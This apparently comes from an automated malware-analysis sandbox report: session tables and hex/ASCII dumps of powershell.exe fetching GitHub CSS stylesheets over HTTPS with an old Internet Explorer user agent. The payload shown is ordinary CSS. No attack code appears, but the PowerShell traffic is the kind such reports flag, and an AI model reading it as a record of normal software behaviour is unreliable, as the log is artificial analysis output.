7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f Data Ascii: tml{font-size:16px;font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,main,menu,nav,section{display:block}summary{display:list-item}audio,canvas,progress,video
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6e 63 65 3a 62 75 74 74 6f 6e 7d 66 69 65 6c 64 73 65 74 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 73 69 6c 76 65 72 3b 6d 61 72 67 69 6e 3a 30 20 32 70 78 3b 70 61 64 64 69 6e 67 3a 2e 33 35 65 6d 20 2e 36 32 35 65 6d 20 2e 37 35 65 6d 7d 6c 65 67 65 6e 64 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 3a 30 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 7d 74 65 78 74 61 72 65 61 7b 6f 76 65 72 66 6c 6f 77 3a 61 75 74 6f 7d 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 2c 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d Data Ascii: nce:button}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}textarea{overflow:auto}[type=checkbox],[type=radio]{box-sizing:border-
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6e 3a 31 35 70 78 20 30 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 6f 72 64 65 72 2d 6d 75 74 65 64 29 29 7d 68 72 3a 3a 62 65 66 6f 72 65 2c 2e 72 75 6c 65 3a 3a 62 65 66 6f 72 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 68 72 3a 3a 61 66 74 65 72 2c 2e 72 75 6c 65 3a 3a 61 66 74 65 72 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d Data Ascii: n:15px 0;overflow:hidden;background:transparent;border:0;border-bottom:1px solid var(--borderColor-muted, var(--color-border-muted))}hr::before,.rule::before{display:table;content:""}hr::after,.rule::after{display:table;clear:both;content:""}table{border-
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 75 74 6c 69 6e 65 43 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 61 63 63 65 6e 74 2d 66 67 29 29 7d 40 6d 65 64 69 61 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 20 61 63 74 69 76 65 29 7b 2a 3a 66 6f 63 75 73 2c 2a 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 7b 6f 75 74 6c 69 6e 65 3a 73 6f 6c 69 64 20 31 70 78 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 72 61 64 69 6f 5d 2c 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 29 3a 66 6f 63 75 73 2c 69 6e 70 75 74 3a 6e 6f 74 28 5b 74 79 70 65 3d 72 61 64 69 6f 5d 2c 5b 74 79 70 65 3d 63 68 65 63 6b 62 6f 78 5d 29 3a 66 6f 63 75 73 2d 76 69 73 69 62 6c 65 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2c 74 65 78 74 61 72 65 61 3a 66 6f 63 75 73 2d 76 69 73 69 Data Ascii: utlineColor, var(--color-accent-fg))}@media(forced-colors: active){:focus,:focus-visible{outline:solid 1px transparent}input:not([type=radio],[type=checkbox]):focus,input:not([type=radio],[type=checkbox]):focus-visible,textarea:focus,textarea:focus-visi
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 7b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 68 36 2d 73 69 7a 65 2c 20 31 32 70 78 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 74 65 78 74 2d 77 65 69 67 68 74 2d 73 65 6d 69 62 6f 6c 64 2c 20 36 30 30 29 7d 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 39 30 25 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 3a 30 7d 75 6c 2c 6f 6c 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 6f 6c 20 6f 6c 2c 75 6c 20 6f 6c 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6c 6f 77 65 72 2d 72 6f 6d 61 6e 7d 75 6c 20 75 6c 20 6f 6c 2c Data Ascii: {font-size:var(--h6-size, 12px);font-weight:var(--base-text-weight-semibold, 600)}p{margin-top:0;margin-bottom:10px}small{font-size:90%}blockquote{margin:0}ul,ol{padding-left:0;margin-top:0;margin-bottom:0}ol ol,ul ol{list-style-type:lower-roman}ul ul ol,
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 6d 75 74 65 64 29 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 62 74 6e 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 61 64 64 69 6e 67 3a 35 70 78 20 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 29 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 74 65 78 74 2d 77 65 69 67 68 74 2d 6d 65 64 69 75 6d 2c 20 35 30 30 29 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 63 75 72 73 Data Ascii: Color-muted, var(--color-fg-muted));text-align:center}.btn{position:relative;display:inline-block;padding:5px var(--base-size-16);font-size:14px;font-weight:var(--base-text-weight-medium, 500);line-height:20px;white-space:nowrap;vertical-align:middle;curs
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 70 72 6f 70 65 72 74 79 3a 63 6f 6c 6f 72 2c 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 2c 62 6f 78 2d 73 68 61 64 6f 77 2c 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 7d 2e 62 74 6e 3a 68 6f 76 65 72 2c 2e 62 74 6e 2e 68 6f 76 65 72 2c 5b 6f 70 65 6e 5d 3e 2e 62 74 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 67 29 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 64 65 66 61 75 6c 74 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 68 6f 76 65 72 2d 62 6f 72 64 65 72 29 29 3b 74 Data Ascii: property:color,background-color,box-shadow,border-color}.btn:hover,.btn.hover,[open]>.btn{background-color:var(--button-default-bgColor-hover, var(--color-btn-hover-bg));border-color:var(--button-default-borderColor-hover, var(--color-btn-hover-border));t
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 73 68 61 64 6f 77 29 29 2c 76 61 72 28 2d 2d 73 68 61 64 6f 77 2d 68 69 67 68 6c 69 67 68 74 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 69 6e 73 65 74 2d 73 68 61 64 6f 77 29 29 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 68 6f 76 65 72 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 68 6f 76 65 72 2c 5b 6f 70 65 6e 5d 3e 2e 62 74 6e 2d 70 72 69 6d 61 72 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2d 62 67 43 6f 6c 6f 72 2d 68 6f 76 65 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 2d 62 67 29 29 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 Data Ascii: olor-btn-primary-shadow)),var(--shadow-highlight, var(--color-btn-primary-inset-shadow))}.btn-primary:hover,.btn-primary.hover,[open]>.btn-primary{background-color:var(--button-primary-bgColor-hover, var(--color-btn-primary-hover-bg));border-color:var(--b
2024-09-30 13:50:10 UTC	1378	IN	Data Raw: 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6c 65 64 2d 62 6f 72 64 65 72 29 29 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 3a 64 69 73 61 62 6c 65 64 20 2e 6f 63 74 69 63 6f 6e 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 2e 64 69 73 61 62 6c 65 64 20 2e 6f 63 74 69 63 6f 6e 2c 2e 62 74 6e 2d 70 72 69 6d 61 72 79 5b 61 72 69 61 2d 64 69 73 61 62 6c 65 64 3d 74 72 75 65 5d 20 2e 6f 63 74 69 63 6f 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 2d 66 67 43 6f 6c 6f 72 2d 64 69 73 61 62 6c 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 62 74 6e 2d 70 72 69 6d 61 72 79 2d 64 69 73 61 62 6c 65 64 2d 74 65 78 74 29 29 7d 2e 62 74 6e 2d 70 72 69 6d 61 72 79 20 2e 43 6f 75 6e 74 65 72 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 Data Ascii: r-btn-primary-disabled-border))}.btn-primary:disabled .octicon,.btn-primary.disabled .octicon,.btn-primary[aria-disabled=true] .octicon{color:var(--button-primary-fgColor-disabled, var(--color-btn-primary-disabled-text))}.btn-primary .Counter{color:inheri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49714	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:11 UTC	357	OUT	GET /assets/global-103ebe55f9d9.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:11 UTC	680	IN	HTTP/1.1 200 OK Connection: close Content-Length: 291261 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Fri, 27 Sep 2024 18:49:44 GMT ETag: "0x8DCDF25277126F3" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 237084 Date: Mon, 30 Sep 2024 13:50:11 GMT X-Served-By: cache-iad-kiad7000031-IAD, cache-ewr-kewr1740054-EWR X-Cache: HIT, HIT X-Cache-Hits: 9, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 673dc241bcb0cd5c4222749047606ad7b2192a99
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 2e 63 6f 6c 6f 72 2d 62 6f 72 64 65 72 2d 69 6e 76 65 72 73 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 2d 6f 6e 45 6d 70 68 61 73 69 73 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 6f 6e 2d 65 6d 70 68 61 73 69 73 29 29 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 62 67 2d 67 72 61 79 2d 32 2c 2e 62 67 2d 67 72 61 79 2d 33 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 67 43 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6e 65 75 74 72 61 6c 2d 6d 75 74 65 64 29 29 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 6f 6c 6f 72 2d 74 65 78 74 2d 77 68 69 74 65 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 2d 77 68 69 74 65 2c 20 76 61 Data Ascii: .color-border-inverse{border-color:var(--fgColor-onEmphasis, var(--color-fg-on-emphasis)) !important}.bg-gray-2,.bg-gray-3{background-color:var(--bgColor-neutral-muted, var(--color-neutral-muted)) !important}.color-text-white{color:var(--fgColor-white, va
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 65 6e 74 69 74 79 2d 74 61 67 29 7d 2e 70 6c 2d 6b 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6b 65 79 77 6f 72 64 29 7d 2e 70 6c 2d 73 2c 2e 70 6c 2d 70 64 73 2c 2e 70 6c 2d 73 20 2e 70 6c 2d 70 73 65 20 2e 70 6c 2d 73 31 2c 2e 70 6c 2d 73 72 2c 2e 70 6c 2d 73 72 20 2e 70 6c 2d 63 63 65 2c 2e 70 6c 2d 73 72 20 2e 70 6c 2d 73 72 65 2c 2e 70 6c 2d 73 72 20 2e 70 6c 2d 73 72 61 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 73 74 72 69 6e 67 29 7d 2e 70 6c 2d 76 2c 2e 70 6c 2d 73 6d 77 7b 63 6f 6c 6f 72 3a 76 Data Ascii: lor:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:v
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 74 61 78 2d 6d 61 72 6b 75 70 2d 63 68 61 6e 67 65 64 2d 74 65 78 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 63 68 61 6e 67 65 64 2d 62 67 29 7d 2e 70 6c 2d 6d 69 32 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 69 67 6e 6f 72 65 64 2d 74 65 78 74 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 70 72 65 74 74 79 6c 69 67 68 74 73 2d 73 79 6e 74 61 78 2d 6d 61 72 6b 75 70 2d 69 67 6e 6f 72 65 64 2d 62 67 29 7d 2e 70 6c 2d 6d 64 72 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f Data Ascii: tax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;co
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 74 2d 63 75 72 73 6f 72 2d 6d 61 72 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 2c 20 32 35 35 2c 20 32 30 2c 20 30 2e 35 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 62 6c 69 6e 6b 20 31 2e 30 36 73 20 73 74 65 70 73 28 31 29 20 69 6e 66 69 6e 69 74 65 7d 2e 63 6d 2d 61 6e 69 6d 61 74 65 2d 66 61 74 2d 63 75 72 73 6f 72 7b 77 69 64 74 68 3a 61 75 74 6f 3b 62 6f 72 64 65 72 3a 30 3b 61 6e 69 6d 61 74 69 6f 6e 3a 62 6c 69 6e 6b 20 31 2e 30 36 73 20 73 74 65 70 73 28 31 29 20 69 6e 66 69 6e 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 37 65 37 7d 40 6b 65 79 66 72 61 6d 65 73 20 62 6c 69 6e 6b 7b 35 30 25 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 7d 2e 63 6d 2d 74 Data Ascii: t-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-t
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 64 65 66 61 75 6c 74 20 2e 63 6d 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 72 65 64 7d 2e 63 6d 2d 69 6e 76 61 6c 69 64 63 68 61 72 7b 63 6f 6c 6f 72 3a 72 65 64 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 63 6f 6d 70 6f 73 69 6e 67 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 32 70 78 20 73 6f 6c 69 64 7d 64 69 76 2e 43 6f 64 65 4d 69 72 72 6f 72 20 73 70 61 6e 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 61 74 63 68 69 6e 67 62 72 61 63 6b 65 74 7b 63 6f 6c 6f 72 3a 23 30 62 30 7d 64 69 76 2e 43 6f 64 65 4d 69 72 72 6f 72 20 73 70 61 6e 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6e 6f 6e 6d 61 74 63 68 69 6e 67 62 72 61 63 6b 65 74 7b 63 6f 6c 6f 72 3a 23 61 32 32 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 61 74 63 68 69 6e 67 74 61 67 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 Data Ascii: default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:r
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 6f 72 2d 67 75 74 74 65 72 2d 65 6c 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 7a 2d 69 6e 64 65 78 3a 34 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 67 75 74 74 65 72 2d 77 72 61 70 70 65 72 20 3a 3a 73 65 6c 65 63 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 67 75 74 74 65 72 2d 77 72 61 70 70 65 72 20 3a 3a 2d 6d 6f 7a 2d 73 65 6c 65 63 74 69 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6c 69 6e 65 73 7b 63 75 72 73 6f 72 3a 74 65 78 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 70 78 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 20 Data Ascii: or-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 43 6f 64 65 4d 69 72 72 6f 72 2d 66 6f 63 75 73 65 64 20 64 69 76 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 63 75 72 73 6f 72 73 7b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 73 65 6c 65 63 74 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 39 64 39 64 39 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 66 6f 63 75 73 65 64 20 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 73 65 6c 65 63 74 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 37 64 34 66 30 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 63 72 6f 73 73 68 61 69 72 7b 63 75 72 73 6f 72 3a 63 72 6f 73 73 68 61 69 72 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6c 69 6e 65 3a 3a 73 65 6c 65 63 74 69 6f 6e 2c 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6c 69 6e 65 3e 73 70 61 6e 3a 3a 73 65 6c 65 Data Ascii: CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::sele
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 6d 65 72 67 65 2d 33 70 61 6e 65 20 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 70 61 6e 65 7b 77 69 64 74 68 3a 33 31 25 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 33 70 61 6e 65 20 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 67 61 70 7b 77 69 64 74 68 3a 33 2e 35 25 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 70 61 6e 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 72 6d 61 6c 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 70 61 6e 65 2d 72 69 67 68 74 6d 6f 73 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 7d Data Ascii: merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 62 6f 74 74 6f 6d 20 6c 65 66 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 78 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 72 2d 64 65 6c 65 74 65 64 2c 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6d 65 72 67 65 2d 6c 2d 64 65 6c 65 74 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 41 4d 41 41 41 41 43 43 41 59 41 41 41 43 64 64 47 59 61 41 41 41 41 47 55 6c 45 51 56 51 49 31 32 4d 34 4b 79 62 32 2f 36 79 59 32 48 38 47 42 67 59 47 4a 67 Data Ascii: AAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJg
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 37 20 47 69 74 48 75 62 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 70 72 69 6d 65 72 2f 67 69 74 68 75 62 2d 73 79 6e 74 61 78 2d 74 68 65 6d 65 2d 67 65 6e 65 72 61 74 6f 72 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 2e 63 6d 2d 73 2d 67 69 74 68 75 62 2d 6c 69 67 68 74 2e 43 6f 64 65 4d 69 72 72 6f 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 66 67 43 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 63 6f 64 65 6d 69 72 72 6f 72 2d 74 65 78 74 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 63 6f 64 65 4d 69 72 72 6f 72 2d 62 67 43 6f 6c 6f 72 2c 20 76 61 72 28 2d 2d 63 6f Data Ascii: 7 GitHub, Inc. * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) */.cm-s-github-light.CodeMirror{color:var(--codeMirror-fgColor, var(--color-codemirror-text));background:var(--codeMirror-bgColor, var(--co

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49715	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
